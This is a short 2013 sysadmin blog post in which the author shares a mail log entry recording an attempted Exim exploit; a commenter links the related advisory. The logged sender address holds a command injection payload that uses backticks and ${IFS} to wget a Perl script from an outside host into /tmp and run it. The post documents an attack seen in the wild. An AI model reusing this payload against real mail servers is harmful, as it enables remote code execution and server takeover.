Today’s most interesting email (exim, security)

June 19, 2013, palepurple, linux, security,

Aside from generally getting too much email, today this gem arrived ….

Presumably there is/was a vulnerability in Exim.

Thankfully this server runs Postfix.

Jun 18 23:47:47 xxxx postfix/cleanup[727]: 718FF848036: message-id=<>
Jun 18 23:47:47 xxxx postfix/qmgr[1444]: 718FF848036: from=<x`wget${IFS}-O${IFS}/tmp/p.pl${IFS}radioactivefrog.com/.x/exim.txt“perl${IFS}/tmp/p.pl`@blaat.com>, size=206, nrcpt=1 (queue active)

email, exim, perl, security

‹ Two Factor Authentication for remote SSH users (using google authenticator) Full text searching with solr ›

Comments are currently closed.

2 thoughts on “Today’s most interesting email (exim, security)”

ensa says:

June 19, 2013 at 1:49 pm

we got four of them at 2351 last night; the advisory is at https://www.redteam-pentesting.de/en/advisories/rt-sa-2013-001/-exim-with-dovecot-typical-misconfiguration-leads-to-remote-command-execution
- palepurple says:
  
  June 19, 2013 at 7:07 pm
  
  Ah hah! thank you!

Copyright Pale Purple Ltd 2006 - 2013. Pale Purple is a trading name of Pale Purple Limited, Registered in England and Wales (Registered No. 5580814)

Pale Purple Ltd
Pale Purple

Office Address Blount House, Hall Court, Hall Park Way,,
Telford, Shropshire, TF3 4NQ
sales@palepurple.co.uk

GB 884 6231 01

Today’s most interesting email (exim, security)

2 thoughts on “Today’s most interesting email (exim, security)”

Share

Search

Customer Quotes